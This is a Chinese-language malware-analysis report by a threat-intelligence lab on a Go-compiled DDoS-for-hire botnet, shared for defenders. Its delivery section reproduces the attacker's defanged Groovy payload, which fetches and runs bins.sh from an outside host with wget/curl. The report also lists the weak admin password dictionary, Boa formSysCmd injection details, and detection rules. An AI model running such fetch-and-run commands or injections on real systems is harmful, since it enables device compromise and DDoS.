malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai

一个跨平台的 Go DDoS 出租型僵尸网络

Kinryū Labs 分析了 bot.exe——一个 Go 编译的 DDoS 僵尸网络的 Windows 构建版本,它以一套包含 11 个二进制、覆盖 13 种架构的投放器套件形式分发,并通过一场为期数天的 Jenkins Script Console 利用行动投递。对暂存主机的侦察发现了一个在线的、需认证的 DDoS 出租 API、一个 Go 编写的 SSH 命令通道,以及一个同宿的 Mirai 血统家族。我们以高置信度评估,这是一场商业化的 DDoS 出租行动。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。该样本及其投放器套件由 Kinryū Labs 蜜罐传感器网络在一场跨多个传感器观测到的、为期数天的 Jenkins 利用行动中捕获。捕获到的二进制文件仅做静态分析、从未执行;操作者的暂存主机通过主动的外部侦察加以刻画(服务枚举、匿名 FTP 列目录,以及对一个暴露 API 的未认证探测),未绕过任何认证。攻击者指标均已做无害化(defang)处理。

摘要

  • 13种架构构建,11 个唯一二进制
  • 5种具名 DDoS 方法,外加一个出租 API
  • 3个协同的源 IP,同处一个 /22
  • 2个僵尸网络家族同处一台主机

bot.exe 是一个 Go 编译的 DDoS 僵尸网络的 Windows x86-64 构建版本,以一套多架构投放器套件分发。配套的 shell 脚本 bins.sh 会拉取十三种架构构建,去重后为十一个唯一二进制,覆盖 32 位与 64 位 x86、四种 ARM 版型、ARM64、Android ARM64,以及大端与小端 MIPS,此外还有那个 Windows 二进制。该套件通过对一台暴露的 Jenkins 服务器的利用抵达蜜罐网络。

该恶意软件内嵌五种具名洪水方法(HTTP、TLS 握手、ICMP、直连 TLS,以及一种标记为 VOULT 的容量型方法)、一个会轮换浏览器 User-Agent 字符串与区域设置头以伪装成合法流量的 HTTP 洪水,以及针对 RealTek SDK 设备上 Boa web 服务器、用于自我传播的命令注入载荷。对位于 185.226.93[.]242 的暂存主机的侦察发现了一个在 3333 端口上、需认证的 DDoS 出租 API,一个在 2222 端口上、充当命令通道的 Go 实现的 SSH 服务,以及一个匿名 FTP 服务,后者暂存着第二个 Mirai/Gafgyt 血统的僵尸网络家族。

Kinryū Labs 以高置信度评估,bot.exe 是一个恶意、自我传播、多架构的 DDoS 僵尸网络的一部分,作为商业出租服务运营。三项发现支撑这一评估:二进制自身的攻击方法与利用字符串;操作者暂存主机上一个在线的出租 API,它会校验任务参数并要求认证;以及一份记录到持续、多节点行动投递该套件的蜜罐遥测数据。

关键判断
  • bot.exe 是一个跨平台的 Go DDoS 僵尸网络。五条不同的洪水方法日志字符串携带目标与持续时长参数,并配有浏览器伪装机制与 SOCKS5 支持,全部以未混淆的字符串存在,并由那个在线 API 佐证。
  • 该行动作为商业化 DDoS 出租服务运营。暂存主机在 3333 端口上暴露一个 API,它会校验任务参数(userpswhostmethodtimeport)并拒绝无效凭据。
  • 该僵尸网络通过 IoT 命令注入自我传播。二进制携带一个 Boa formSysCmd 命令注入载荷、一条路由器登录暴力破解路径,以及导出的 loginDeviceloginDeviceCaptcha 函数,注入的正是蜜罐日志中记录到的那条投放器一行命令。
  • 三个源 IP 属于同一个操作者。185.226.92[.]0/22 内的三个地址以协同的时序和一份共享的凭据清单投递了完全相同的载荷,且投递与暂存 IP 呈现完全相同的 SSH 主机密钥,表明是同一台主机或克隆的镜像。

投递:一场持续的 Jenkins Script Console 行动

该套件通过对一台面向互联网暴露的 Jenkins 实例的利用投递。蜜罐遥测记录到一种一致的两步方法:先 GET /crumbIssuer/api/json 取回 CSRF 令牌,接着 POST /script 携带一段 Groovy Script Console 载荷。该载荷在各次尝试中完全相同,此处已做无害化处理:

println new ProcessBuilder('sh','-c',
  'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
   curl -O hxxp://185.226.93[.]242:1001/bins.sh;
   chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text

这些请求携带一个 Authorization: Basic 头,为 admin 账户轮换一份简短的弱数字密码字典(admin:1123admin:123451admin:1231231admin:1111111admin:12345123),这是一份自动化凭据清单、而非针对性认证的标志。

该行动在数天内以反复的波次进行:

  • 第 1 波首批探测:CSRF-crumb 检查后接 Groovy RCE,来自暂存 IP 以及同一网段中的第二个地址。
  • 捕获bins.sh 及全部十三个变体在相隔约十四小时的两个传感器上被回收,在两处逐字节相同。
  • 后续波次三个源 IP 在彼此相隔几分钟内并行利用,并轮换 User-Agent。

这些利用请求轮换了一大批逼真的浏览器 User-Agent,而那场为寻找更多 Jenkins 目标的侦察扫描(一次 /login 拉取后接一串快速的 /script 请求)使用的是默认的 Go-http-client/1.1。伪造的 User-Agent 骑在利用载荷上;扫描器用的则是僵尸网络原生的 Go 客户端。暂存与 C2 主机本身也参与了利用,因此攻击与托管基础设施并未分离。

恶意软件:一套 Go 代码库,十一个二进制

用 Go 写这个僵尸程序,让一套代码库能交叉编译到操作者想要的每一个目标。投放器走遍整条产品线,用 wget 拉取每个构建、再用 curl 作为回退拉取一次,将其标记为可执行、运行、然后删除。该套件包含一个 Windows .exe,Linux 投放器仍会把它过一遍 chmod +x,而脚本生成出来的结构指向一条构建-列表流水线。去重之后,这十三个构建减为十一个唯一二进制:x86 与 i386 构建相同,通用 ARM 与 ARMv7 构建亦然。这一架构分布,从 MIPS 与老式 ARM 到 Android,标志着一个瞄准路由器、摄像头及其他嵌入式设备的僵尸网络;而 Windows 构建则把同一套代码带向桌面与服务器。

该二进制未加壳(PE 各节的熵落在 5.4 到 6.3 之间),也未剥符号(Go 构建 ID 与运行时符号完好无损),因此其能力就摆在明文字符串里。编译时间戳被清零,这对 Go 构建而言属正常现象。

二进制的日志字符串中具名五种洪水方法,每一种都以一个目标和一个持续时长格式化:一个 “HTTP (Optimized)” 洪水、一个 TLS/TCP “Handshake” 耗尽洪水、一个 ICMP “PING” 洪水、一个直连 “TLS+” 会话洪水,以及一个 “VOULT” 方法(容量型,可能基于 UDP)。应用层与网络层选项皆备。

那个 HTTP 洪水被打造成能冒充合法流量。它在 Windows、macOS、iPad 与 Android 上的 Chrome、Edge、Opera、Firefox、Safari 之间轮换十余个浏览器 User-Agent 字符串;十五种 Accept-Language 区域设置;以及缓解服务会检视的 sec-fetch-*sec-ch-ua-* 指纹头。它从一小组高信誉站点(google.comreddit.comfacebook.combing.comtwitter.comfbi.gov)中设置一个 Referer。User-Agent 集里有一条是字面字符串 Hello World,一个开发者占位符,它构成一个干净的检测特征,因为没有任何合法客户端会发送它。

传播瞄准 Boa web 服务器,一个小型嵌入式 HTTP 守护进程,至今仍随许多 RealTek SDK 路由器与摄像头出货。二进制携带一个针对 Boa formSysCmd 处理器的命令注入载荷,以及一条针对路由器管理界面的登录暴力破解路径,并带有 JSON 凭据字段与导出的 loginDeviceloginDeviceCaptcha 函数。注入的命令就是那条投放器一行命令,因此一台被攻陷的设备便成为投递下一台的投放点。

被 vendor 进来的 Go 模块全是标准的 golang.org/x 包,未链接任何第三方 C2 框架。它们包含 chacha20poly1305http2/hpackdns/dnsmessagehttp/httpproxy,与可观测到的能力相吻合:一条经认证加密的通道、HTTP/2、原始 DNS,以及 SOCKS5 代理(字符串 socks5socks connectsocksUsernamePassword 均在场)。C2 配置在运行时从 hxxp://<C2>/config.dat 取回;二进制中唯一硬编码的地址就是暂存主机。

命令控制与暂存基础设施

对暂存主机的侦察发现了以下服务:

端口服务用途
21/tcpvsftpd 3.0.3,启用匿名登录恶意软件暂存(下文的第二个家族)
22/tcpOpenSSH 9.2p1 (Debian)操作者访问
1001/tcpGo net/http 服务器主暂存:提供 bins.sh 及各变体
2222/tcpGo SSH (SSH-2.0-Go)僵尸程序命令通道
3333/tcpGo net/http 服务器DDoS 出租 API

两项发现支撑出租评估。投递 IP 与暂存主机呈现完全相同的 ED25519、RSA 与 ECDSA SSH 主机密钥,将它们置于同一台机器上、或来自同一模板克隆的镜像;而 2222 端口的 Go SSH 服务呈现出与 22 端口系统 OpenSSH 不同的密钥,将其标记为一个独立应用、而非一个转发。3333 端口的 API 对缺少参数(userpswhostmethodtime/durationport)的请求予以拒绝,并对测试凭据返回认证失败,其余所有路径均返回 404。这正是一个商业化 booter 那种最简、按请求认证的接口,运行在在线的基础设施上。

同一主机上的第二个家族

那个匿名 FTP 服务暂存着一个独立的僵尸网络家族,此处依其文件名称之为 “boatnet”。它的投放器(ohshit1.sh)使用 BusyBox 的 ftpget 客户端,在执行前把每个二进制重命名为 WTF,并跨十五种架构在后台启动各构建,包括 Mirai/Gafgyt 血统的一些冷门嵌入式目标(ARC、m68k、SH4、SPARC)。这些二进制为 C 编译的 ELF、已剥符号并加壳(熵为 7.6 到 7.9 且无 UPX 魔数,表明是自定义加壳器),因此静态审阅几乎无所得。boatnet 制品早于 bot.exe 套件,运行的是一套无关的代码库,因此同一台主机暂存着两个不同的僵尸网络家族。

托管

两个攻击者 IP 均落在 185.226.92[.]0/22,通过 RIPE NCC 登记给一家总部位于土耳其的 VPS 提供商(网络名 BIGCORE-US,AS205196 / AS57152),滥用联系人为 [email protected]。我们出于上报目的识别托管提供商,对操作者身份不作任何主张。

失陷指标

攻击者基础设施已做无害化处理。样本哈希与检测字符串按设计携带真实值。

网络

指标上下文
185.226.93[.]242暂存 + C2 主机;同时也是一个活跃扫描器
185.226.92[.]110主扫描器/投递节点
185.226.92[.]173次扫描器
185.226.92[.]0/22托管分配(BIGCORE,AS205196)。合理的边界封锁
185.226.93[.]242:1001HTTP 暂存(bins.sh + 各变体)
185.226.93[.]242:2222Go SSH 命令通道
185.226.93[.]242:3333DDoS 出租 API(/api,参数受控)
185.226.93[.]242:21匿名 FTP,boatnet 暂存
hxxp://<C2>/config.dat运行时 C2 配置取回模式
/boafrm/formSysCmd/boafrm/formLogin出站传播中的 Boa RCE 与登录暴破 URI
SSH 主机密钥 (ED25519) …INAjVN5fIlxTHxT4R3yqTS8…在投递与 C2 IP 间共享;转轴指标

文件

文件SHA-256
bot.exe (Windows x64)4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804
bins.sh (投放器)15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6
boatnet.0eem0a9ali (i386)6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b
boatnet.0t25ax67hl (x86-64)920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d
  • bot.exe MD5 / SHA-1 / imphash: 88efcb919000efb700a814fc23e31e3f / 6817eae057adf831892995f514fca36c489fdd10 / 211e227000a1da3333aab2bad5282318
  • Go Build ID: euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
投放器套件完整哈希(13 个构建中 11 个唯一)
构建SHA-256大小(字节)
amd643261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b705,919,119
x86 / i386575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc3985,787,832
arm / armv7l9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb105,898,424
arm5365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea5825,898,424
arm634186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f5,898,424
arm64ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b5,579,151
android_arm647d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf6,169,144
mips9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f56,619,351
mipsle14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde76,619,351
bot.exe4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e38046,020,608

主机与凭据制品

  • Jenkins admin 暴力破解字典:11231234511231231111111112345123
  • ohshit1.sh(boatnet 投放器)以及一个在执行前被重命名为 WTF 的二进制。
  • 有辨识度的 User-Agent:Hello World(僵尸程序 HTTP 洪水)与 Go-http-client/1.1(僵尸程序自扫描)。

行为特征

  • Jenkins GET /crumbIssuer/api/json 后接一个携带 Groovy ProcessBuilder('sh','-c', …) 载荷、拉取 bins.shPOST /script
  • 出站请求指向某主机 /config.dat 下的路径,其前有一条 Connecting to CNC... 日志行。
  • 入站 POST /boafrm/formSysCmd,带 sysCmdselect=5 及一个 wget … bins.sh 请求体。

检测

这些字符串稳定且未混淆,因此签名很直接。下面这条 YARA 规则是一条基于已验证字符串构建的候选规则;部署前请先验证。

rule go_ddos_bot_multiarch_candidate
{
    meta:
        description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "4de4621f...e3804"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $cnc  = "Connecting to CNC..." ascii
        $cfg  = "/config.dat" ascii
        $atk1 = "HTTP (Optimized) Attack started" ascii
        $atk2 = "VOULT attack" ascii
        $atk3 = "Handshake Attack started" ascii
        $boa  = "/boafrm/formSysCmd" ascii
        $iot  = "loginDeviceCaptcha" ascii
        $drop = "bins.sh" ascii

    condition:
        ($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}

网络检测:

  • Jenkins:对 POST /script 请求体中包含 ProcessBuilder 且带有指向裸 IP 的 wget/curl 者告警,尤其是其前有 GET /crumbIssuer/api/json 的。
  • IoT 传播:content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";
  • 基础设施:封锁 185.226.92[.]0/22,它覆盖投递与 C2 地址,并对该网段内指向 1001、2222、3333 端口的出站连接告警。

修复

  • 不要把 Jenkins 暴露到互联网。 将其置于认证与网络隔离之后,对非管理员禁用 Script Console,并把一台可达的构建服务器视为整台主机被攻陷的风险。这就是投递向量。
  • 强制强 Jenkins 凭据并对认证做速率限制。 该行动依赖的是一份针对 admin 的简短弱数字密码字典。
  • 分段隔离或替换基于 RealTek/Boa 的路由器与 IoT 设备, 并封锁对其管理界面的外部访问。这些是该僵尸网络的传播目标。
  • 在边界封锁托管分配185.226.92[.]0/22),并对 Boa RCE URI 与 config.dat 取回模式告警。
  • 过滤出站。 一台主机在 1001 端口上访问裸 IP 去拉取以架构命名的文件,或连接该网段内的 2222 或 3333 端口,都属异常且可被捕获,在缺乏主机侧检测的场合尤为如此。
  • 上报该基础设施。 那个 DDoS 出租 API 与 FTP 暂存的恶意软件可上报给托管提供商的滥用联系人([email protected])。

MITRE ATT&CK 映射

战术技术
Initial AccessT1190 Exploit Public-Facing Application(Jenkins Script Console;传播用的 Boa formSysCmd
Credential AccessT1110.001 Brute Force: Password Guessing(Jenkins admin);T1110.004 Credential Stuffing(IoT 登录)
ExecutionT1059 Command and Scripting Interpreter(经 Script Console 的 Groovy;Unix shell 投放器)
DiscoveryT1046 Network Service Scanning(Jenkins/IoT 自扫描);T1082 System Information Discovery;T1057 Process Discovery
Defense EvasionT1036 Masquerading(浏览器 User-Agent 轮换;boatnet 的 WTF 重命名)
Command and ControlT1071.001 Web Protocols(config.dat);T1573 Encrypted Channel(ChaCha20-Poly1305;2222 上的 Go SSH);T1571 Non-Standard Port(1001/2222/3333);T1090.001 Internal Proxy: SOCKS
Lateral Movement / DeliveryT1105 Ingress Tool Transfer(多架构暂存)
ImpactT1498.001 Direct Network Flood(PING、VOULT);T1498.002 Reflection Amplification(握手耗尽)

方法论与备注

  • 范围:对捕获到的二进制的静态分析(未执行),以及对暂存主机的主动外部侦察(服务与横幅枚举、匿名 FTP 列目录,以及对 3333 端口 API 的未认证探测)。未绕过任何认证。
  • 该 YARA 规则是一条基于已验证字符串构建的候选规则;部署前请先验证。boatnet 二进制已加壳,产出的字符串很少。
  • 样本(bot.exe 套件、投放器与 boatnet 制品)可应其他研究者与防御方的请求提供。请发邮件至 [email protected],并简短说明你的身份以及索取用途。
How to cite
Kinryū Labs (2026). 一个跨平台的 Go DDoS 出租型僵尸网络. https://kinryu.sh/zh/reports/go-ddos-botnet-for-hire/